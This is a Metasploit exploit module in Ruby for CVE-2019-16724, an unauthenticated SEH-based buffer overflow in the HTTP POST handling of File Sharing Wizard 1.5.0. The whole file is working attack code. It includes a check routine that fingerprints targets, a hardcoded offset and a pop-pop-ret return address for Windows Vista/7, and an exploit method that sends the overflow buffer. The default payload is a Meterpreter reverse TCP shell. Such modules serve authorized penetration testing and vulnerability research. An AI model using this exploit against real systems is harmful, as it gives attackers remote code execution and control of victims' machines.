##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh
def initialize(info = {})
super update_info(info,
'Name' => 'File Sharing Wizard - POST SEH Overflow',
'Description' => %q(
This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.
),
'Author' => [
'x00pwn', # Original exploit
'Dean Welch <dean_welch[at]rapid7.com>' # Module
],
'License' => MSF_LICENSE,
'References' =>
[
%w[CVE 2019-16724],
%w[EDB 47412]
],
'Payload' =>
{
'BadChars' => "\x00\x20"
},
'DisclosureDate' => '2019-09-24',
'DefaultOptions' =>
{
'RPORT' => 80,
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Arch' => [ ARCH_X86 ],
'Targets' =>
[
['Windows Vista / Windows 7 (x86)', { 'Offset' => 1040, 'Ret' => 0x7c38a67f }] # 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]
])
end
def check
res = send_request_cgi
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')
CheckCode::Detected
else
CheckCode::Safe
end
end
def exploit
buf = rand_text_english(target['Offset'])
buf << generate_seh_payload(target.ret)
print_status('Sending payload to target')
send_request_raw({ 'method' => 'POST', 'uri' => buf }, 0)
end
end